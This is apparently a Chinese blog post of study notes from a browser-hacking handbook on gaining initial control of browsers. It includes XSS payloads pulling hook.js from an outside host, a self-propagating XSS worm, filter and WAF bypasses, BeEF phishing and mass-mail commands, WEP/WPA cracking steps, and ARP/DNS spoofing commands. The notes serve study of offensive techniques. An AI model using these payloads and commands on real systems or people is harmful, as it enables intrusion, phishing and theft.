初始控制

初始控制

攻击浏览器的第一步就是获得目标浏览器的控制权。

理解控制初始化

  • 首要任务:将初始化指令安插进目标浏览器

实现初始控制

使用XSS攻击
针对服务器端
  • 反射型XSS
    • 过程:不可信用户数据被提交到一个Web应用,然后该数据立即在响应中被返回。
    • 示例
      <% String userId=request.getParameter("user"); %>     //接收用户查询参数
      Your User ID is <%= userId %>    //将参数内容直接在响应中返回
      
      利用:
      • ?user=<iframe%20src=http://browserhacker.com/></iframe>——会在页面中插入一个地址为browserhacker.com的框架;
      • ?user=<script%20src=http://browserhacker.com/hook.js></script>——注入远程JavaScript脚本;
    • 模糊URL
      • 缩短URL
      • 重定向URL
      • 采用URL编码或ASCII编码来编码URL
      • 添加一些多余的、无关的查询参数,将恶意内容放在中间或后面
      • 在URL中使用@符号添加伪域名内容
      • 将主机名转化为整数
  • 持久型XSS
    • 持久型XSS会持久保存于Web应用的数据存储中。
    • 存储位置:后端数据库、日志文件
    • 示例:
       <%
       //更新数据库
       String userDisplayName=request.getParameter("userdisplayname");
       String userSession=session.getAttribute('userId');
       String dbQuery="INSERT INTO users (userDisplayName) VALUES(?) WHERE userId=?";
       PreparedStatement statement=connection.prepareStatement(dbQuery);
       statement.setString(1, userDisplayName);
       statement.setString(2, userSession);
       statement.executeUpdate();
       %>
       ......
       <%
       Statement statement=connection.creatStatement();
       ResultSet result = statement.executeQuery("SELECT * FROM users LIMIT 10");
       %>
       The top 10 latest users to sign up:<br />
       <% while (result.next()) { %>
         User: <%=result.getString("userDisplayName")%><br />
       <% }%>
      
      利用:
      • ?userdisplayname=<script%20src=http://browserhacker.com/hook.js></script>
针对客户端
  • DOM XSS
    • 不依赖Web应用处理用户输入时的漏洞,只利用客户端代码中存在的缺陷
    • 示例
      • 场景1:某组织想包含一个参数用于设置欢迎消息。但是,这个功能没有添加到服务器端,而是放到了客户端代码中。这段代码会根据URL中的内容动态修改页面:
        document.write(document.location.href.substr(
          document.loaction.href.search(
            /#welcomemessage/i)+16,document.location.href.length))         //收集#welcomemessage=后的文本插入页面
        
        利用:
        在攻击字符串位于#号后面的数据中时,恶意数据是依存于浏览器的,Web应用防火墙无法发现。
        • #welcomemessage=<script>document.location='http://browserhacker.com'</script>——会把JavaScript脚本插入DOM,导致浏览器重定向到http://browserhacker.com。
      • 场景2
        function getId(id){
          console.log('id: '+id);
        }
        var url=window.location.href;
        var pos=url.index0f("id=")+3;
        var len=url.length;
        var id=url.substring(pos,len);
        eval('getId(' + id.toString() + ')');
        
      利用:
      • ?id=1'); s=document.createElement('script');s.src='http://browserhacker.com/hook.js';documnt.getElementsByTagName('head')[0].appendChild(s);//
        单引号会导致无法运行,通过String.fromCharCode()进行封装:
        ?id=1');eval(String.fromCharCode(115, 61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,115,46,115,114,99,61,39,104,116,116,112,58,47,47,98,114,111,119,115,101,114,104,97,99,107,101,114,46,99,111,109,47,104,111,111,107,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59))//
    • 通用XSS
XSS病毒

存储型XSS一旦奏效,有可能导致(受影响源的)后续访问者也会执行恶意JavaScript。

  • 示例
    • XSS攻击代码
    <iframe name="iframex" id="iframex" src="hidden" style="display:none">
    </iframe>
    <script SRC="http://browserhacker.com/xssv.js"></script>
    
    • xssv.js内容
    function loadIframe(iframeName, url) {
      if (window.frames[iframeName]) {
        window.frames[iframeName].location=url;     //修改iframeName的地址
        return false;
      }
      else return true;
    }
    
    function do_request() {
      var ip=get_random_ip();      //获取随机ip
      var exploit_string = '<iframe name="iframe2" id="iframe2" ' + 
        'src="hidden" style="display:none"></iframe> ' +
        '<script src="http://browserhacker.com/xssv.js"></script>';     //设置攻击代码
        
        loadIframe('iframe2',
          "http://" + ip + "/index.php?param=" +exploit_string);       //修改iframe2的地址
    }
    
    function get_random()
    {
      var ranNum=Math.round(Math.random()*225);
      return ranNum;
    }
    
    function get_random_ip()
    {
      return "10.0.0."+get_random();
    }
    
    setInterval("do_request()",10000);    //执行10000次
    
  • Samy
    • 绕过MySpace的手段
      • 通过div的background:url参数执行初始的JavaScript(针对IE5、6)
        <div style="background:url('javascript:alert(1)')">
        
      • 通过把代码转移到其他地方,然后通过style属性运行指令(绕过单引号和双引号转义)
          <div
          id="mycode" expr="alert('hah!')"
          style="background:url('javascrtpt:eval(document.all.mycode.expr)')"
          >
        
      • 通过加入“\n”绕过对javascript这个词的过滤
      • 使用String.fromCharCode()插入双引号
      • 使用eval()绕过其他黑名单中的关键字
         eval('xmlhttp.onread' + 'ystatechange = callback');
        
  • Jikto
    Jikto是一个演示未修复XSS缺陷影响的工具,其通过一个代理同时加载Jikto代码和目标源的内容,把它们放到同一个源下面,实现绕过SOP。
  • 最小XSS蠕虫大赛
    获胜代码:
    <form>
      <input name="content">
        <img src=""
          onerror="with(parentNode)
        alert('XSS',submit(content.value='<form>'+
          innerHTML.slice(action=(method='post')+
          '.php',155)))">
    
绕过XSS防御机制
  • 绕过浏览器XSS防御机制
    • 常见防御
      • XSS Auditor——Chrome、Safari
      • XSS 过滤器——IE
      • NoScript扩展——Firefox
    • 绕过技术
      • mXSS
        • 条件:依赖于浏览器对输入优化后产生的变异(开发者必须使用innerHTML或类似方式解析你的输入)
        • 攻击原理
            // attacker input to innerHTML
            <img src="test.jpg" alt="``οnlοad=xss()" />
            
            // browser output
            <IMG alt=``οnlοad=xss() src="test.jpg">
          
          使用" ` "绕过IE的XSS过滤器。
  • 绕过服务器XSS防御机制
    • 早期绕过微软的 .NET Framework
       <~/XSS/*-*/STYLE=xss:e/**/xpression(alert(6))>
       <%tag style="xss:expression(alert(6))">
      
    • 绕过WAF
      • 要点:不使用括号,需要通过一个HTML元素的属性把它们注入
      • 指令
         οnerrοr=alert;throw 1;
         οnerrοr=eval;throw'=alert\x281\x29';
        
  • XSS备忘录
    XSS Filter Evasion Cheat Sheet
    HTML5 Security Cheatsheet
使用有隐患的Web 应用
  • 攻击者获取对浏览器访问权的一种常见方式,就是借助对Web应用的未授权访问。获取该访
    问权之后,攻击者可能会修改网页内容以包含恶意代码。
  • 另一种控制Web应用的方法,是获取对FTP、SFTP或SSH等管理性服务的直接未授权访问
使用广告网络

检查来源,看它是不是正确的目标,然后再动态加载脚本:

if (document.location.host.indexOf("browservictim.com") >= 0)
{
var scr = document.createElement('script')
scr.setAttribute('src','https://browserhacker.com/hook.js');
document.getElementsByTagName('body').item(0).appendChild(scr);
}
使用社会工程攻击
  • 垃圾邮件:来路不明的电子邮件,通常是一批一批发送的推销真实(有时也不是真实)的商品和
    服务的邮件。
  • 钓鱼:直接获取信息(通常是用户名和密码)的手段,钓鱼需要多个部分协同配合,包括伪造的网站、伪造的邮件,有时候还有伪造的即时消息。
  • 鱼叉式钓鱼:目标是少数受害者,可以收集更多受害者的背景信息,进而精细准备诱饵,从而达到更有效欺骗受害者的目的。
钓鱼攻击
  • 主要攻击类型
    • 电子邮件钓鱼:向多个收件人群发一封邮件,要求受害人回复对攻击者有价值的信息。
    • 网站钓鱼:在网上伪造一个网站,模仿某个合法网站。
    • 鱼叉式钓鱼:经常也要使用一个欺骗性网站,但诱饵只针对一小群目标受众。
    • 鲸钓:指的是目标为高端人物或高级管理人员的鱼叉式钓鱼。
  • 钓鱼攻击流程
    • 伪造网站
      • 目标:伪造一个网站,在其中隐藏恶意代码。
      • 构造必要的HTML和相关文件的方法
        • 自己从头开始构建网站
        • 复制并修改已有站点
        • 克隆已有站点
        • 显示错误页面
      • 相关工具
        • wget
          • 克隆指令:
            wget -k -p -nH -N http://browservictim.com
            • -k:把已下载文件中的所有链接都转换为本地引用,不再依赖原始或在线内容。
            • -p:下载所有必要文件,确保离线可用。
            • -nH:禁止把文件下载到以主机名为前缀的文件夹中。
            • -N:启用文件的时间戳,以匹配来源的时间戳。
          • 注入代码:
            <script src=http://browserhacker.com/hook.js></script>
        • BeEF
          • kali下的位置:/usr/share/beef-xss
          • 克隆指令(自动注入JavaScript连接代码):
            curl -H "Content-Type: application/json; charset=UTF-8" -d '{"url":"https://www.baidu.com/","mount":"/"}' -X POST http://127.0.0.1:3000/api/seng/clone_page?token=XXXXXXXXXXX
            结果在:/usr/share/beef-xss/extensions/social_engineering/web_cloner/cloned_pages
            访问:127.0.0.1:3000
        • SET(社会工程工具箱)
          • 流程:
            选择Website Attack Vectors—>选择Java Applet Attack Method—>选择Site Cloner—>输入你想克隆的URL—>继续设置后续的内容或修改shell选项
        • URLCrazy(生成可能输错的域名或其他变体)
          • 指令:
            ./urlcrazy www.baidu.com
    • 钓鱼邮件
      • 生成流程
        • 获取目标的电子邮件地址
          • 工具(获取联系人信息)
            • Recon-ng
              • kali下位置:/usr/share/recon-ng
            • theHarvester
              • 使用
                theharvester -d www.baidu.com -l 100 -b google
                • -d:目标域
                • -l:结果数
                • -b:数据源
        • 制作诱饵
          • QR码
        • 发送邮件
          • BeEF邮件群发
            • 配置邮件群发
              • 配置/usr/share/beef-xss/extensions/social_engineering/config.yaml的mass_mailer部分:
                配置
              • 配置电子邮件模板
                BeEF提供了“edfenergy”示例,配置项也在/usr/share/beef-xss/extensions/social_engineering/config.yaml中,实际的邮件模板位于/usr/share/beef-xss/extensions/social_engineering/mass_mailer/templates/edfenergy/下。
            • 邮件群发
              curl -H "Content-Type: application/json; charset=UTF-8" -d '{"template":"edfenergy","subject":"<邮件主题>", "fromname":"<发件人>","link":"<钓鱼网站URL>", "linktext":"<骗人的链接文字>","recipients":[{"<目标的邮箱>": "<目标的名字>","<目标2的邮箱>":"<目标2的名字>"}]}' -X POST http://127.0.0.1:3000/api/seng/send_mails?token=XXXXXXXXX
              • template:配置要使用的模板
              • subject:设置钓鱼邮件的主题
              • fromname:设置发件人的名字
              • link:设置钓鱼网站地址
              • linktext:有的模板中需要嵌入钓鱼网站的链接,但显示的是这里设置的链接文字
              • recipients:这个字段由多个收件人的名字和邮件地址构成
反钓鱼机制
  • Chrome和Firefox的Safe Browsing API
  • IE的Anti-Phishing Filter
  • McAfee的SiteAdvisor
  • Web of Trust的WOT插件
  • PhishTank的插件
  • Netcraft的Anti-Phishing扩展
  • 启用防火墙或.htaccess规则
使用中间人攻击(MitM)

攻击者通过窃听,有可能在信息从发送者传输至接收者的过程中篡改它。

浏览器中间人攻击(MitB)
  • 特点
    • 对用户不可见
    • 对服务器不可见
    • 能够修改当前页面的内容
    • 能够读取当前页面的内容
    • 不需要受害人介入
  • 示例(Zeus通用配置)
      set_url https://www.youbank.com/*      //访问https://www.yourbank.com/中的任意网页时被激活
      data_before
      <div class='footer'>     //查找相应位置
      data_end
      data_inject
      <script src='https://browserhacker.com/hook.js'></script>      //注入代码
      data_end
      data_after
      </body>
      data_end
    
无线攻击
  • 802.11的安全机制
    • SSID(服务设备标识符)隐藏:无线客户端经常要求连接到有名字的SSID
    • 静态IP过滤:IP地址能被无线工具发现
    • MAC地址过滤:可以冒充
      • 修改MAC
        • Linux:ifconfig <接口> hw ether <MAC地址>
        • OS X:sudo ifconfig <接口> ether <MAC地址>
  • WEP
    • 基于Aircrack-ng破解WEP
      • 在监视模式下启动可注入的无线适配器
        airmon-ng start <适配器(wifi0)> <无线信道(9)>
      • 使用监控模式适配器测试数据包注入
        aireplay-ng -9 -e <目标网络SSID> -a <目标接入口的MAC> <被动接口(ath0)>
      • 开始捕获WEP初始向量
        airodump-ng -c <无线信道(9)> --bssid <目标接入点MAC> -w output <被动接口(ath0)>
      • 将MAC地址与无线接入点关联
        aireplay-ng -l 0 -e <目标网络SSID> -a <目标接入点MAC> -h <我们MAC地址><被动接口(ath0)>
      • 在ARP请求重播模式下启动Aireplay-ng,生成WEP初始向量:
        aireplay-ng -3 -b <目标接入点MAC> -h <我们MAC><被动接口(ath0)>
      • 破解WEP证书
        aircrack-ng -K -b <目标接入点的MAC地址> output*.cap
  • WPA/WPA2
    • 基于Aircrack-ng破解WPA/WPA2
      • 目标:捕获WPA/WPA2认证握手。
      • 流程
        • 在监视模式下启动可注入的无线适配器
          airmon-ng start <适配器(wifi0)> <无线信道(9)>
        • 捕获WPA握手
          airodump-ng -c <无线信道(9)> --bssid <目标接入点MAC> -w psk <被动接口(ath0)>
        • 强制某个客户端解除认证
          aireplay-ng -0 1 -a <目标接入点MAC> -c <想要解除的客户端MAC> <被动接口(ath0)>
        • 捕获握手信息后破解
          aircrack-ng -w <密码字典文件> -b <目标接入点MAC> psk*.cap
  • 流氓接入点
    • 形式
      • 加入一个已经有广播的(打开的)无线网络,然后使用独立接口连接到合法的无线网络
      • 强制解除对无线客户端的认证,然后用比合法路由更强的信号广播,伪装成接入点
    • 工具
      • KARMA:可以让计算机响应任意802.11探针请求,而且不需要SSID
ARP欺骗

欺骗一个设备把本来应该发到别处的数据发给你,有些类似于把邮件重定向到另一个设备。

  • ARP工作流程
    • 计算机A(10.0.0.1)要与服务器B(10.0.0.20)通信,因此它在自己的ARP缓存中查询10.0.0.20的MAC地址。
    • 如果找到MAC地址,流量将通过网络接口被提交到该MAC地址。
    • 如果没有找到MAC地址,则向本地网段广播一条ARP消息,询问哪个MAC地址的IP是10.0.0.20。这个请求会被提交给MAC地址FF:FF:FF:FF:FF:FF,然后具有相应IP地址的网络适配器就会响应。
    • 服务器B接收到这个请求,于是将自己的MAC地址作为响应提交给计算机A的MAC地址。
      不需要等待广播请求MAC地址,可以主动告诉目标机器哪个IP地址映射到哪个MAC地址。
  • 工具
    • ettercap
      • 示例:(在一个对等网络中实施下面这个ARP欺骗的例子,有可能造成系统宕机。
        ettercap -T -Q -M arp:remote -i <network interface> /<target1>/ /<target2>/
        • -T:在文本模式下运行
        • -Q:安静模式下运行
        • -M:执行中间人攻击
        • arp:remote:指定ARP欺骗
        • -i:指定网络接口(wlan0)
        • /<target1>/ /<target2>/:指定要攻击的IP地址
    • dsniff
    • Shank(BeEF)
      • 启动BeEF:./beef
      • 启动Shank:ruby shank.rb <目标网址>
      • 启动自运行脚本:ruby autorun.rb
    • g0tBeEF
DNS下毒

ARP是把IP地址转换为MAC地址,而DNS是把域名转换为IP地址。

  • 篡改客户端DNS设置
    • Windows
      • 位置:C:\Windows\System32\drivers\etc\hosts
      • 权限:管理员
      • 格式:<ip address><dns name>
      • 针对特定的网络接口更新Windows DNS:netsh interface ip set dns "Local Area Connection" static <恶意DNS服务器的IP地址>
    • Linux/Unix/OS X
      • 位置:/etc/hosts
      • 指令:echo "nameserver <恶意DNS服务器的IP地址>" > /etc/resolv.conf
  • 利用本地网络层
    • 利用ARP下毒,可以将计算机设置为本地网络的DNS服务器。
    • 工具
      • ettercap—DNSSpoof模块
        • 修改etter.dns,添加恶意DNS条目
          • 文件位置
            • Linux:/etc/ettercap/
            • OS X:/opt/local/share/ettercap/ (未验证)
        • 指令
          ettercap -T -Q -P dns_spoof -M arp:remote -i <网络接口> /<要攻击的IP地址>/
          • -P:指定插件
利用缓存

浏览器使用非公开可路由IP地址缓存来源存在安全问题。如果目标使用了相同的非可路由地址连接另一个网络,就为你提供了下手的机会。
浏览器使用的IP地址范围是10.0.0.0/8、172.16.0.0/12和192.168.0.0/16。

  • 准备
    • 某目标可能在一家网吧上网,而你已经侵入了这家网吧
    • 外网有一个你控制的BeEF服务器
  • 流程
    • 中间人攻击开始后,可以等待目标的任何HTTP请求。然后,在响应中插入多个IFrame,从你的每个目标IP加载内容。
    • 加载的内容可以缓存到目标浏览器。每个IFrame加载的内容都可以嵌入初始化指令,并且可以回连到外网的BeEF服务器。
    • 当目标断开对外网的连接时,或者回到办公室或家里继续上网时,浏览器还会不断与BeEF服务器保持通信。
    • 如果后续某个阶段,目标访问了某个私有IP地址,比如他家路由器的管理页面,那你之前缓存的内容就会在该源中执行。
参考文献

《黑客攻防技术宝典——浏览器》

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值